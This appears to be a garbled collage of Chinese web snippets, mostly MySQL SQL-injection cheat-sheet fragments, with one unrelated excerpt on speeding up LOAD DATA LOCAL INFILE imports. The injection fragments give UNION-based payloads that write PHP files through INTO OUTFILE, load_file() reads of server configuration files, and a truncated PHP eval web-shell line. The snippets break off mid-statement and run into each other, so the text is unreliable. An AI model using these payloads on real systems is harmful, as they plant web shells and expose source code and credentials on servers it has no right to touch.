select * from admin where id =-1 union select 1,'<?php phpinfo();?>',3,4 into outfile 'c:\\1.php' select * from admin where id =-1 or 1=1 limit 0,1 INTO OUTFILE 'c:/2.php' LINES TERMINATED BY 0x3C3F70687020706870696E666F28293B3F3E-- 3.通过数据库日志写shello
mysql <5.0 读文件:load_file() sql-shell select load_file(''); d:/www/xx/index.php /home/webroot/...../index.php and 1=2 union select 1,load_file('c:\\..\\sql_inc.php'),3,4.......; 查看源代码 写文件:into outfile and 1=2 union select 1,"<?php @eval($_post['
MySQL使用load data local infile 从文件中导入数据比insert语句要快,MySQL文档上说要快20倍左右.但是这个方法有个缺点,就是导入数据之前,必须要有文件,也就是说从文件中导入.这样就需要去写文件,以及文件删除等维护.某些情况下,比如数据源并发的话,还会出现写文件并发问题,很难处理.那么有没有什么办法,可以达到同样的效率,直接从内存(IO流中)中导入数据,而不需要写文件呢?前段时间,去MySQL社区的时候发现了这样一个方法:setLocalInfileInputS
关于MYSQL注入的总结,网上的资料很多,这里和大家简单分享下自己实战中常用的思路和命令 0x00 UNION联合查询型注入常用语句 order by n //定字段,n为正整数 union select 1,2,3 //看回显,无回显的时候尝试让union前的语句报错,如and 1=2 union select 1,2,3 回显位爆库.表.列(字段).值,以第二位为回显位举例,常用命令如下所示 union select 1,group_concat(schema_name),3 fr